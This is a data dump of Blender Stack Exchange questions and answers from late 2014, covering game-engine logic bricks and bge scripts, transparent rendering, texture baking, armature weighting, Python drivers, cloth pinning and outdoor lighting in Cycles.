  <row Id="21460" PostTypeId="2" ParentId="21458" CreationDate="2014-12-28T01:13:02.660" Score="4" Body="&lt;pre&gt;&lt;code&gt;scene = bge.logic.getCurrentScene()&#xA;cont = bge.logic.getCurrentController()&#xA;light = scene.lights['Lamp']&#xA;&#xA;if cont.sensors['Mouse1'].hitObject.name == 'button.up' and cont.sensors['Lclick'].getButtonStatus(bge.events.LEFTMOUSE) == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    light.energy += 0.5&#xA;&#xA;if cont.sensors['Mouse1'].hitObject.name == 'button.down' and cont.sensors['Lclick'].getButtonStatus(bge.events.LEFTMOUSE) == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    light.energy -= 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attach this script to your two buttons with these logic bricks. The two buttons must be named &lt;code&gt;button.down&lt;/code&gt; and &lt;code&gt;button.up&lt;/code&gt;, or you will have to change the names in the script.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/im1GV.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two buttons will increase and decrease the default &lt;code&gt;Lamp&lt;/code&gt; energy by &lt;code&gt;0.5&lt;/code&gt; per click.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-28T01:13:02.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21461" PostTypeId="1" AcceptedAnswerId="21466" CreationDate="2014-12-28T01:37:48.583" Score="2" ViewCount="190" Body="&lt;p&gt;I have my camera set up to render my object with a transparent background in PNG format. But when i enable transparency, I get nothing rendered other than an empty PNG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my settings for blender render shown in the image attached (may need to open image in another tab to see it larger)&lt;img src=&quot;https://i.stack.imgur.com/bysOd.png&quot; alt=&quot;enter image description here&quot;&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also as a side note, is there such an option in cycles render, as I could never find the option to render with transparent background so had to resort to blender render.&lt;/p&gt;&#xA;" OwnerUserId="887" LastActivityDate="2014-12-28T03:41:41.903" Title="My object is missing when i turn on alpha" Tags="&lt;rendering&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21462" PostTypeId="2" ParentId="21458" CreationDate="2014-12-28T02:40:54.257" Score="4" Body="&lt;p&gt;The &quot;I'm not a programmer!&quot; approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First step:&lt;/strong&gt;&#xA;Create the button(s), create the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Step:&lt;/strong&gt;&#xA;Create an animation for the lamp where it is dim at frame 1 and bright at frame 200.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Step:&lt;/strong&gt;&#xA;Switch to game logic and add a property to the light named &lt;em&gt;Bright&lt;/em&gt;. Make an &lt;em&gt;action&lt;/em&gt; actuator with the play mode set to &lt;em&gt;property&lt;/em&gt; set the property and the frame property of the actuator to be &lt;em&gt;Bright&lt;/em&gt;. Do the rest of the setup as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YER2a.png&quot; alt=&quot;Logic setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basically means &lt;em&gt;If the mouse is over the button (cube) and the mouse is clicked, add two to the&lt;/em&gt; Bright &lt;em&gt;property. Play the PointAction as&lt;/em&gt; Bright &lt;em&gt;is increased.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forth step:&lt;/strong&gt; (optional)&#xA;Add an always sensor and a mouse visibility if your game has no way of knowing where the mouse is. Create another button with the &lt;em&gt;exact&lt;/em&gt; same setup except make the property &lt;em&gt;Bright&lt;/em&gt; decrease by two under the &lt;em&gt;property&lt;/em&gt; actuator&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-28T02:40:54.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21463" PostTypeId="1" AcceptedAnswerId="21491" CreationDate="2014-12-28T02:44:36.287" Score="7" ViewCount="3578" Body="&lt;p&gt;I'd like to use &lt;strong&gt;bgl&lt;/strong&gt; to draw &lt;strike&gt;dots&lt;/strike&gt; &lt;strong&gt;points&lt;/strong&gt; on 2d screen from 3d vertices in scene. I have lines working by using &lt;code&gt;bgl.GL_LINE_LOOP&lt;/code&gt; but I couldn't find the full list of &lt;code&gt;bgl.GL_*&lt;/code&gt; to loop up for points. &lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="4958" LastEditDate="2014-12-28T23:30:48.667" LastActivityDate="2014-12-30T00:33:56.627" Title="Draw points on screen with bgl? (python)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;editing&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21464" PostTypeId="2" ParentId="5151" CreationDate="2014-12-28T03:15:32.400" Score="2" Body="&lt;p&gt;I had this same problem, and the apparent solution is wasn't obvious to me.  You see, I had done the weight painting setup against the base human meta-rig.  However, it is only used for getting the base setup of the rigify armature.  When you reparent the model to the generated rigify armature, it doesn't work because it is not using the same bones as the human meta-rig.  What you must do is parent against the rigify armature with Automatic Weights (or empty groups), and then do the weight painting process.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-12-28T03:15:32.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21465" PostTypeId="1" CreationDate="2014-12-28T03:39:35.517" Score="1" ViewCount="157" Body="&lt;p&gt;It says there is no UV texture on the two materials part of the object, but if I add the a UV texture I will have to remove the cloud texture needed for the displace modifier. Could someone look at it please and tell me what I can do to bake the object the way it looks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://www.dropbox.com/s/7as4voewm8cr6gw/Banana5th%20attempt.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9694" LastEditorUserId="6385" LastEditDate="2014-12-28T04:48:26.777" LastActivityDate="2014-12-28T04:48:26.777" Title="Baking error no UV coordinates" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21466" PostTypeId="2" ParentId="21461" CreationDate="2014-12-28T03:41:41.903" Score="2" Body="&lt;p&gt;According to your file, the problem is you are trying to use Cycles material node as BI material node, which cannot happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gmvf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Switch the Render engine from &lt;strong&gt;Blender Render&lt;/strong&gt; to &lt;strong&gt;Cycles&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;If you want to render it in Blender Render (BI), you have to either toggle off the &lt;strong&gt;Use Node&lt;/strong&gt; button, or create a new material node readable for BI.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I assume the first one is your better option, since it seems you sort of mis-switched the engine at some point (or the material node is appended from anywhere else).&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-12-28T03:41:41.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21467" PostTypeId="2" ParentId="21465" CreationDate="2014-12-28T04:14:13.370" Score="1" Body="&lt;p&gt;I believe he thinks you have connect the image texture in the nodes(leading to remove other textures) to another that's not the case just add it somewhere in it that's all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to each material in the node setting and just shift-a &gt; texture &gt; image texture and link the unwrapped texture to it done.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2014-12-28T04:14:13.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21469" PostTypeId="2" ParentId="21456" CreationDate="2014-12-28T05:12:58.793" Score="0" Body="&lt;p&gt;Use a mouse sensor to run an action. In the action actuator you can specify the start and end frame to play. You will need a property to track where you are and run a different part of the action for each value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I wouldn't use the action keyframes, I would use a simple motion for the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/delSP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a mouse wheel up event happens and the location property is less than 4, the camera is moved 10 units on X and adds 1 to the location property. Simply repeat for the opposite direction.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-28T05:12:58.793" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21471" PostTypeId="2" ParentId="21447" CreationDate="2014-12-28T05:35:06.643" Score="1" Body="&lt;p&gt;You can send a message to objects in other scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tyjhQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then use a message sensor to receive the message.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-28T05:35:06.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21472" PostTypeId="2" ParentId="21450" CreationDate="2014-12-28T05:55:55.890" Score="1" Body="&lt;p&gt;Blender treats paths beginning with &amp;quot;//&amp;quot; as relative to the blend file directory. You can use &lt;code&gt;bge.logic.expandPath&lt;/code&gt; to get the absolute path that you can use in standard python file calls to create data files containing all the variable data you want to store.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bge.logic.html#utility-functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;bge.logic.expandPath(path)&lt;/strong&gt;&lt;/a&gt; Converts a blender internal path into a proper file system path.&lt;/p&gt;&#xA;&lt;p&gt;Use / as directory separator in path You can use ‘//’ at the start of the string to define a relative path; Blender replaces that string by the directory of the startup .blend or runtime file to make a full path name (doesn’t change during the game, even if you load other .blend). The function also converts the directory separator to the local file system format.&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;Parameters:&lt;/strong&gt;    path (string) – The path string to be converted/expanded.&lt;br&gt;&#xA;&lt;strong&gt;Returns:&lt;/strong&gt;    The converted string&lt;br&gt;&#xA;&lt;strong&gt;Return type:&lt;/strong&gt;    string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-28T05:55:55.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21473" PostTypeId="2" ParentId="21442" CreationDate="2014-12-28T06:10:38.710" Score="1" Body="&lt;p&gt;In your first scene you have an animation that plays from frame 50 to 80. Frame 50 is the first frame this scene outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use that scene in a scene strip in the VSE, this strip plays that output of the scene, the first frame that the VSE scene strip receives is frame 50 from the first scene. This first frame of the scene strip will show up where the scene strip starts, which may be frame 24 of the new scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would give the same result as if you rendered the first scene to disk then added the file on disk to the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame range in scene two has no connection to the original scene frame range.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-28T06:10:38.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21474" PostTypeId="1" AcceptedAnswerId="21477" CreationDate="2014-12-28T06:12:49.523" Score="5" ViewCount="3123" Body="&lt;p&gt;I want to add a driver to the Z location of an object via python.&lt;br&gt;&#xA;After reading the docs and &lt;a href=&quot;https://blender.stackexchange.com/q/13905/599&quot;&gt;this question&lt;/a&gt;, I would guess something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.driver_add(&quot;location&quot;, index=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when run in the python console it says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;TypeError: driver_add() takes no keyword arguments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-12-28T09:56:03.820" Title="How to add a driver via python?" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21476" PostTypeId="1" CreationDate="2014-12-28T06:43:54.333" Score="5" ViewCount="3100" Body="&lt;p&gt;As seen in the comparison below, before, it looks right in the camera view; however, the glossy baking result appears to be projected from the normals instead of POV. I have been able to find very little information on the wiki about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to keep the glossy baking result the same as the rendered image (from specific POV)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the reflection on both the ball and the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AFbZ8.jpg&quot; alt=&quot;Before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/23nmb.jpg&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="6204" LastEditDate="2014-12-30T03:24:51.550" LastActivityDate="2018-07-03T10:39:14.200" Title="How to correctly bake glossy/reflection from camera POV?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21477" PostTypeId="2" ParentId="21474" CreationDate="2014-12-28T09:56:03.820" Score="8" Body="&lt;p&gt;The error message gives a hint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TypeError: driver_add() takes no keyword arguments&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So pass the index as positional argument:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.object.driver_add(&quot;location&quot;, 2)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-12-28T09:56:03.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21478" PostTypeId="2" ParentId="21446" CreationDate="2014-12-28T12:02:08.197" Score="1" Body="&lt;p&gt;You need to setup some &lt;strong&gt;pinned vertices&lt;/strong&gt; on your cloth mesh.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create vertex group with pinned vertices:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKHLf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Enable Pinned and use that vertex group:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBIsD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Done. Now your pinned verts will follow the movement of cloth object. You can parent it to bone or some other object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAKnX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-28T12:02:08.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21479" PostTypeId="2" ParentId="21436" CreationDate="2014-12-28T12:19:06.693" Score="1" Body="&lt;p&gt;Your problem is limiting Ik bones ranges with constraints. You need to use this panel for Ik:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxvZF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple leg Ik rig is here: &lt;a href=&quot;https://blender.stackexchange.com/questions/21379/how-to-ik-rig-legs/21385#21385&quot;&gt;How to IK rig legs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to handle pole bones and their angles precisely is here: &lt;a href=&quot;https://blender.stackexchange.com/questions/19754/how-to-set-calculate-pole-angle-of-ik-constraint-so-the-chain-does-not-move/19755#19755&quot;&gt;How to Set/Calculate pole angle of IK constraint so the chain does not move?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-28T12:19:06.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21480" PostTypeId="1" AcceptedAnswerId="21483" CreationDate="2014-12-28T13:53:41.057" Score="4" ViewCount="8396" Body="&lt;p&gt;I made a simple model with multiple meshes. One of them is the head The rest is unimportant for this question. The model has one armature which is the parent of the meshes. All the vertices in the head mesh are in one vertex group which has the same name as the head bone. The head mesh has no Mirror modifier. I set the pivot of the head mesh and all the other parts to the middle of the head mesh. I used armature from the &lt;code&gt;add human (metarig)&lt;/code&gt; command. I applied all locations, scales and rotations. I have no idea what other detail I should supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uLjGb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to rotate the head (not the neck, the head) it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Evvyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me on how to fix this, or should I actually rotate the neck?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="1253" LastEditDate="2014-12-30T09:34:55.910" LastActivityDate="2014-12-30T09:34:55.910" Title="How to fix armature distorting my mesh?" Tags="&lt;mesh&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21481" PostTypeId="1" AcceptedAnswerId="21567" CreationDate="2014-12-28T14:04:12.680" Score="3" ViewCount="1794" Body="&lt;p&gt;I am using the ocean simulation to make an animating water texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use cycles to render my simulation surface into a nice normal map to be used for better performance while still having the proper caustics of the simulation. All of the preliminaries are sorted already, I.E. The camera is set up, my ocean modifiers are set up properly, the animation is all ready to render, except for the actual coloring part of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it came down to actually attempting to render the normal map, I got as far as feeding the normal geometry output into an emmission shader before I got stuck. The &quot;Normal&quot; output of the geometry shader doesn't behave like a standard texture normal map does, I'm looking for &quot;Normal-Map Periwinkle&quot; (or however the color is named) to show up on a perfectly flat surface, but it outputs as 100% blue (as I should have expected using this hacky method). I tried vector mapping and a few other things to rotate the input, but I don't want to do this a terrible, lazy way that gives me an improper normal map, What should I do instead to make sure this gives me a normal map that will actually work properly for anything I use it in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought maybe normalizing the vectors would do it, but I have no idea how to work the node so I couldn't figure out how to set that up. If anyone knows the real way to do this, I'm sure this is probably the place to ask. I tried another method that LOOKS correct, but I can't tell if it's 100% right: I subtracted 50% blue from the colors, and then added 50% white. it looks correct, but I have no idea if the colors are in fact correct. If anyone knows a setup that would cause 100% accurate results, I would greatly appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Everywhere I look, it's apparent that the flat/default color for a Normal Map should be R=0.5, G=0.5, B=1.0. However, in blender, when I sample a normal map with the color picker, I get R=0.212, G=0.212, B=1.0. Because of this, I realized that blender does not handle the colors properly for this particular purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, after using the Color Curves node to remap x=0.5,y=0.5 to x=0.5, y=0.212, my test hemisphere normal map ended up almost indistinguishable from one which I baked properly, unfortunately, as with all other methods so far, subtracting it from the proper one in compositing revealed it's still not a perfect normal map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still looking for any input on how to fix this.&lt;/p&gt;&#xA;" OwnerUserId="9698" LastEditorUserId="9698" LastEditDate="2014-12-28T20:27:45.717" LastActivityDate="2016-04-29T20:22:38.960" Title="Rendering an animated Normal Map using Orthographic Camera in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;normals&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21483" PostTypeId="2" ParentId="21480" CreationDate="2014-12-28T14:23:01.500" Score="5" Body="&lt;p&gt;I think the distortion may appear, because the vertices of the mesh are improperly assigned to the bone. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/w0HBF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object you want to be affected by the bone, enter &lt;em&gt;Edit Mode&lt;/em&gt; and in &lt;em&gt;Vertex Groups&lt;/em&gt; panel select &lt;strong&gt;neck&lt;/strong&gt; group and click &lt;strong&gt;&lt;em&gt;Remove&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sI0SI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the &lt;strong&gt;head&lt;/strong&gt; group and click &lt;strong&gt;&lt;em&gt;Assign&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jjlux.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maximum weight of the mesh is assigned to the &lt;em&gt;head bone&lt;/em&gt;, so now all the vertices will follow the bone completely (you can see the weights entering &lt;em&gt;Weight Paint&lt;/em&gt; mode).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RDzDj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it should work fine.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mn864.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-12-28T14:49:29.853" LastActivityDate="2014-12-28T14:49:29.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21485" PostTypeId="1" CreationDate="2014-12-28T18:29:16.527" Score="2" ViewCount="1036" Body="&lt;p&gt;I want to be able to track if history changed by waiting for its last element to change from modal operator. Is there a way to access such list over python?&lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="4958" LastEditDate="2014-12-28T18:37:12.210" LastActivityDate="2015-01-07T09:22:17.300" Title="How can I access history list? (python)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21486" PostTypeId="1" AcceptedAnswerId="21490" CreationDate="2014-12-28T19:11:12.657" Score="6" ViewCount="11566" Body="&lt;p&gt;After creating &lt;a href=&quot;https://blender.meta.stackexchange.com/a/552/2217&quot;&gt;this image&lt;/a&gt; I received comments on the poor lighting.&lt;br&gt;&#xA;That scene is lit with a sun lamp. The single sun lamp creates very flat and direction light, the way I thought a day time outdoor scene would be lit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5318/2217&quot;&gt;This question&lt;/a&gt; mentions using a hdr image to light the scene. Is there a good lighting setup for outdoor scenes, without the use of a hdr image?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-04-18T06:14:01.877" Title="Lighting for a outdoor scene in cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21489" PostTypeId="1" AcceptedAnswerId="21495" CreationDate="2014-12-28T20:13:35.350" Score="2" ViewCount="1981" Body="&lt;p&gt;in my scene I had an object with a mirror-modifier attached. I made several copies of it. Now I discovered that it also copied the empty I used as the mirror object. I want all new objects using the same empty as mirror object. So I changed (most of) them to point to the original emtpy. Now I want to delete the unused copies of the empty. Is there a way to figure out which empties I can delete and which I have to keep because some are still used for mirroring. &lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2020-09-23T16:52:43.253" Title="Delete unused Empty" Tags="&lt;python&gt;&lt;objects&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21490" PostTypeId="2" ParentId="21486" CreationDate="2014-12-28T20:27:32.923" Score="9" Body="&lt;p&gt;First things first: &quot;good&quot; lighting is highly subjective, and depends on the look or mood you want to portray. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say that in most cases, a sun lamp is what you want. Also pay attention to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Size&lt;/strong&gt;&lt;br&gt;&#xA;The &lt;em&gt;size&lt;/em&gt; setting controls the size of the lamp, which indirectly controls the softness of your shadows. This is very useful for getting e.g. a soft overcast look, or a hard and sharp desert sun look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison of a very large sun and a very small sun:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wyymg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/05WZM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Direction&lt;/strong&gt;&lt;br&gt;&#xA;The direction light is coming from plays a very important role. By using this together with strategic arrangement of your scene, you can highlight the parts you want while leaving others in shadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison showing the difference a simple change in direction can make:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYFKU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENja4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget that you can change the &quot;altitude&quot; of the sun, e.g. for dramatic sunsets/sunrises.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Color&lt;/strong&gt;&lt;br&gt;&#xA;Sunlight isn't white (unlike my previous examples :P).&lt;br&gt;&#xA;I like to use a &lt;em&gt;blackbody&lt;/em&gt; node to set the &lt;a href=&quot;http://en.wikipedia.org/wiki/Color_temperature#The_Sun&quot; rel=&quot;nofollow noreferrer&quot;&gt;color temperature&lt;/a&gt; of my sun lamps in kelvin, e.g. for &lt;a href=&quot;http://en.wikipedia.org/wiki/Golden_hour_%28photography%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;golden sunset lighting&lt;/a&gt; or blue and rainy overcast daylight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/wiki/Golden_hour_%28photography%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;, sunlight is approximately 5,500 K around noon and closer to 2,000 K at sunrise/sunset. Note that this only applies to sunlight scattered through the atmosphere, sunlight above the atmosphere is approximately 5,900 K.  And of course you can adjust these numbers to whatever suits you best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison between a low angle small sun at 3,000 K  and a larger sun at 6,500 K&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWWaX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ndEL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The sky&lt;/strong&gt;&lt;br&gt;&#xA;The light coming from the sky (sunlight scattered through the atmosphere) plays an important role too (e.g. giving shadows that bluish tint). I'd recommend using an HDRi as an environment texture, but for lighting purposes the procedural sky texture can work well too (just make sure you &lt;a href=&quot;https://blender.stackexchange.com/q/6800/599&quot;&gt;align 